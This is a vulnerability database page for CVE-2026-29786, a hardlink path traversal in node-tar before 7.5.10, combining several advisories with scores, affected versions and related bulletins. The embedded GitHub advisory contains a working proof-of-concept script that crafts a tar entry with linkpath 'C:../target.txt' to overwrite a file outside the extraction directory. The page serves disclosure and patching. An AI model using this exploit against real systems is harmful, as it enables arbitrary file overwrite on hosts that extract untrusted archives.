CVE-2026-29786

node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

CVSS 4.0 8.2 HIGHEUVD CVSS 4.0 8.2 CVSS 4.0 · [email protected] · Secondary 8.2 HIGHCVSS 3.1 · [email protected] · Primary 6.3 MEDIUMCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 8.6 HIGHCVSS_V4 Publisher rating HIGHFixed by tar 7.5.10KEV status unknown

Original advisory

cve-program · CVE-2026-29786

Published

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

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euvd · EUVD-2026-10164

Published

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nvd · CVE-2026-29786

Published

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osv · GHSA-qffp-2rhf-9h96

Published

### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `[email protected]`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

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Affected versions, risk and source history

cve-program · CVE-2026-29786

Published

node-tar

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "isaacs",
                    "product": "node-tar",
                    "versions": [
                        {
                            "version": "< 7.5.10",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-10164

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 7, 2026, 3:32:22 PM

dateUpdated: Sep 1, 2026, 12:05:00 PM

5 related source bulletins · separate from aliases

msrc_CVE-2026-29786: node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

CVE-2026-29786

WID-SEC-W-2026-1220: IBM App Connect Enterprise: Mehrere Schwachstellen

CVE-2026-26278 · CVE-2026-27601 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-29786 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-31988 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228

WID-SEC-W-2026-2923: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen

CVE-2019-13990 · CVE-2021-44906 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-3517 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-45133 · CVE-2023-46604 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-2332 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-3505 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

NCSC-2026-0325: Kwetsbaarheden verholpen in Atlassian producten

CVE-2021-44906 · CVE-2022-3517 · CVE-2023-45133 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-2332 · CVE-2026-3505 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

WID-SEC-W-2026-1608: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye und Jira): Mehrere Schwachstellen

CVE-2019-13990 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-24998 · CVE-2023-46604 · CVE-2024-45801 · CVE-2025-52999 · CVE-2025-67030 · CVE-2026-22029 · CVE-2026-22732 · CVE-2026-24734 · CVE-2026-24880 · CVE-2026-25639 · CVE-2026-26960 · CVE-2026-27727 · CVE-2026-27830 · CVE-2026-29062 · CVE-2026-29129 · CVE-2026-29145 · CVE-2026-29146 · CVE-2026-29786 · CVE-2026-31802 · CVE-2026-33750 · CVE-2026-34483 · CVE-2026-34487 · CVE-2026-39304 · CVE-2026-42198 · CVE-2026-5598

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-29786

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-22 · CWE-59

Original publisher date fields

published: 2026-03-07T16:15:55.587

lastModified: 2026-09-01T13:18:36.727

1 source CPE criteria · context only

cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-qffp-2rhf-9h96

Published

tar

npm

SEMVER · introduced 0 → fixed 7.5.10

Original source record · Cite this exact observation · Complete original publisher JSON